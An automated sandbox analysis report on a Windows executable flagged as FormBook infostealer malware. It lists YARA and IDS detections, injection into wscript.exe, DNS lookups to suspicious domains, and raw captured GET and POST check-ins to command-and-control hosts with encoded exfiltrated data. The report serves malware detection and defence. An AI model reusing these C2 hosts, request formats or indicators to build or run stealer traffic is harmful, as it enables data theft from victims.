Windows Analysis Report
specification and drawing.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2400421345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581614710.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4592454426.0000000004B70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2401176438.0000000001030000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590637504.0000000004660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590687371.00000000046B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4589607610.0000000003BF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2402440519.0000000001E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: specification and drawing.exe

Joe Sandbox ML: detected

Source: specification and drawing.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: specification and drawing.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wscript.pdbGCTL source: specification and drawing.exe, 00000004.00000002.2400903312.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000003.2330616460.000000000154B000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000002.4585989966.000000000156E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: LfvKCNKdvt.exe, 00000007.00000002.4581617841.00000000005BE000.00000002.00000001.01000000.0000000C.sdmp, LfvKCNKdvt.exe, 0000000A.00000000.2476050477.00000000005BE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: specification and drawing.exe, 00000004.00000002.2401295024.0000000001090000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2403171986.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.0000000004A4E000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2400714562.0000000004541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: specification and drawing.exe, specification and drawing.exe, 00000004.00000002.2401295024.0000000001090000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, wscript.exe, 00000008.00000003.2403171986.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.0000000004A4E000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2400714562.0000000004541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wscript.pdb source: specification and drawing.exe, 00000004.00000002.2400903312.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000003.2330616460.000000000154B000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000002.4585989966.000000000156E000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 8_2_0076C7A0 FindFirstFileW,FindNextFileW,FindClose,

8_2_0076C7A0

Source: C:\Windows\SysWOW64\wscript.exe	Code function: 4x nop then xor eax, eax		8_2_00759F20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 4x nop then mov ebx, 00000004h		8_2_047B04CE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49786 -> 185.106.176.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49823 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.6:49823 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49831 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49837 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49878 -> 5.39.10.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49843 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49890 -> 5.39.10.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49885 -> 5.39.10.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49895 -> 5.39.10.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49912 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49968 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49948 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49932 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49962 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49925 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49985 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49919 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49956 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49999 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49992 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50005 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50019 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50013 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50017 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50012 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50021 -> 47.238.157.253:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50032 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50026 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50029 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50031 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50037 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50018 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50015 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50025 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50036 -> 162.159.140.104:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50033 -> 162.159.140.104:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50023 -> 47.238.157.253:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50027 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50014 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50030 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50034 -> 162.159.140.104:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50028 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50035 -> 162.159.140.104:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50011 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50020 -> 47.238.157.253:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50022 -> 47.238.157.253:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.swenansiansie.xyz
Source:	DNS query: www.mp3cevir.xyz
Source:	DNS query: www.restobarbebek.xyz

Source: Joe Sandbox View

IP Address: 209.74.64.187 209.74.64.187

Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /enzp/?aNXP_jw=cVkvAZaY29GpnsZyqIF2yuifFE7HKV6pnqAC3WUldb4fq/7Oh6qhLNzjv12xoDmrSb6mv5wmBpstJhqJzvfwudLk3JbApDF6kA+gMwLx/u/2nNZzSM95XnZVFjyCoQq4ImYZsuE=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.sidqwdf.funAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /08fk/?aNXP_jw=wO9xX0AKySxfvwdHh4QTlRV0r5byLZyAFqW9fcrcStHhFZoMkGqz6sQIsykFtZP4y0c8jJ2OtnUnMO7zvO6a787TBpev3CA9JKuvjWbz5jcDVeWMoitqZ3m3uhcYDsapTcVm+CQ=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.swenansiansie.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /v70f/?aNXP_jw=BBAjdqWYBB/MRyq00dIcezl7OvIx5dSebduL9p4zICzjFNfvyshgEJ0+kFvLW81K0aQqDuxS3lz73s8YF+5idFlByfp0+7vcrnzlNMGRBRFmOTNFNBZSGoPe8m8L5uZEU1B7gQA=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.spectre.centerAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /6sgf/?aNXP_jw=6iGJK9crk1nRcZ4JnjW5XFV8mHNB14071bVcqkX9tU6kQKoAsGb7iBX66eKgx6XFHSItuyLYYeRhUgDlnjjXRZ3rjMrHC/Gv/9ocmuyHMrUIRIkrN1ClkKvdCmOBXovMxeC3un8=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.synd.funAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /ohf8/?aNXP_jw=ll5dDbshsmxjCV2KoC1RTtNOe9IddMOnmIejqeX5AC+cgPBA3oVXvxxUo0hOqHqzs3EuIGVBpbOb4OwgMNYqC7Yr6zshBBR6fmx5Fk8+3pxn0VniOhKvc7yUqYSWiUeq1UgZ2CQ=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.jagdud.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /gofy/?cTT8u=Q4NHoHJ0&aNXP_jw=6TIwkaMK82JU2lT4P2bgJiPAvIc6jXqd+j7u+3hJGjnGpfQiXQPwlx1SylvkGzRUjN/XVyFZdd3ZrGt0Ry6iVQqerNi8ibzmajOWyGUvPjo8vNYMiNR/EtvLRStZKR6xKR5Vua8= HTTP/1.1Host: www.wiretap.digitalAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /5l50/?aNXP_jw=rOsUan8VbFhNvxYE9hHVSSa/SbzRVnORxP9GyZA7SRPLTVt8SKFFaQAsgVzmVwIzjQiAicxO7WRfOIhRPBniTm4i15yEbcTUEwFf3HznLV4DES1syv5vrWOVY80sCIfmhGQOLBk=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.it2sp8.vipAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /cvmn/?cTT8u=Q4NHoHJ0&aNXP_jw=kT2PVcuYPhCIcYe2L3yhSZm/01N2YaEp7Mi6RbxY9XuRZq3jntXnn9h0Tz9dUD6RU59Ud1zluKO0dVzp+S+roKiKfYRZRlDdOZb7PAuefTsxfeJpJgY665Liw0ad36KrhrX4mzY= HTTP/1.1Host: www.cbprecise.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /tjfd/?aNXP_jw=hU18Z//aae7PuBg9apJb96loanMP5/1Vub46+YuE1RepJ+epEltxKOfVY+omXPiOW2IODI1uSb7TTTd0R0t6khQdikIhy+mltUDrCuC1oSKa8QDC2XrbIZdN6oN7Umup+JrtMVA=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.yun08ps.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /mbcs/?cTT8u=Q4NHoHJ0&aNXP_jw=E8uKnHhByG2Tv3dXt0hUXbTg8EJLb11h3Xjfw3eru7l4vir7amLvL6eqi8CHILvLkZwm8qiwgwp5C/0JAU8dpm6junvogZRuLkUhLJLqNe6fCvA+b04RO+uOFUQ6tBhUgoCpKJY= HTTP/1.1Host: www.rtpsilva4d.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /jm9b/?aNXP_jw=XoRMlRQavUBSvHE6AV2eFSHD1vC94NgmQfaFO5StTzEKBs4nBsZa6I2TGaV3pACayJ+XHXZH2+vi6MzB3UVzgDaP4LABx1lqbBfrXRaislputLbkLl7Cj+NmRWLfbOqf/tiSO58=&cTT8u=Q4NHoHJ0 HTTP/1.1Host: www.restobarbebek.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Source: global traffic	HTTP traffic detected: GET /w21a/?cTT8u=Q4NHoHJ0&aNXP_jw=LZR+ZfxbvtNDeEpFHDBOAnNQReD6jdenS5faavQJiaR4jsC5ZvEsJscNWNTIhM6XzOFPLAXSOfmv47Q4tyBC+fdx4nmbPqtD38XQudBSIRIiqzdGLKpTAxO37HRkObotKIbjEro= HTTP/1.1Host: www.nagasl89.babyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)

Source: global traffic	DNS traffic detected: DNS query: www.sidqwdf.fun
Source: global traffic	DNS traffic detected: DNS query: www.swenansiansie.xyz
Source: global traffic	DNS traffic detected: DNS query: www.mp3cevir.xyz
Source: global traffic	DNS traffic detected: DNS query: www.spectre.center
Source: global traffic	DNS traffic detected: DNS query: www.synd.fun
Source: global traffic	DNS traffic detected: DNS query: www.jagdud.store
Source: global traffic	DNS traffic detected: DNS query: www.wiretap.digital
Source: global traffic	DNS traffic detected: DNS query: www.it2sp8.vip
Source: global traffic	DNS traffic detected: DNS query: www.cbprecise.online
Source: global traffic	DNS traffic detected: DNS query: www.yun08ps.top
Source: global traffic	DNS traffic detected: DNS query: www.rtpsilva4d.click
Source: global traffic	DNS traffic detected: DNS query: www.restobarbebek.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nagasl89.baby
Source: global traffic	DNS traffic detected: DNS query: www.themessageart.online

Source: unknown

HTTP traffic detected: POST /08fk/ HTTP/1.1Host: www.swenansiansie.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.swenansiansie.xyzReferer: http://www.swenansiansie.xyz/08fk/Content-Length: 212Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)Data Raw: 61 4e 58 50 5f 6a 77 3d 39 4d 56 52 55 42 51 44 30 69 4a 4a 67 53 78 76 32 2b 49 4c 6c 33 45 52 38 4f 58 44 4f 70 4b 6a 58 72 54 61 58 50 66 74 61 74 50 64 64 35 30 6f 6b 6c 32 32 35 72 74 4e 72 6c 77 77 78 62 33 6f 72 77 4d 4b 78 34 61 30 69 6e 4d 4b 45 4f 44 78 6a 37 53 4a 2f 64 33 38 47 2b 4c 30 32 53 45 32 4e 4c 53 51 70 69 50 42 38 7a 59 34 4e 76 75 56 6f 6e 64 48 66 6d 4c 79 68 68 42 31 61 4d 6d 31 48 76 39 38 2f 31 47 6e 77 59 64 61 7a 61 44 49 49 46 63 6d 6e 75 62 51 62 38 50 76 68 68 71 73 74 55 79 4b 46 4e 54 50 53 32 79 34 61 76 43 57 75 33 31 2f 33 41 5a 33 64 57 30 56 57 6a 6d 6f 51 79 67 37 49 63 2b 33 61 5a 56 54 Data Ascii: aNXP_jw=9MVRUBQD0iJJgSxv2+ILl3ER8OXDOpKjXrTaXPftatPdd50okl225rtNrlwwxb3orwMKx4a0inMKEODxj7SJ/d38G+L02SE2NLSQpiPB8zY4NvuVondHfmLyhhB1aMm1Hv98/1GnwYdazaDIIFcmnubQb8PvhhqstUyKFNTPS2y4avCWu31/3AZ3dW0VWjmoQyg7Ic+3aZVT

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Mon, 02 Dec 2024 13:37:23 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
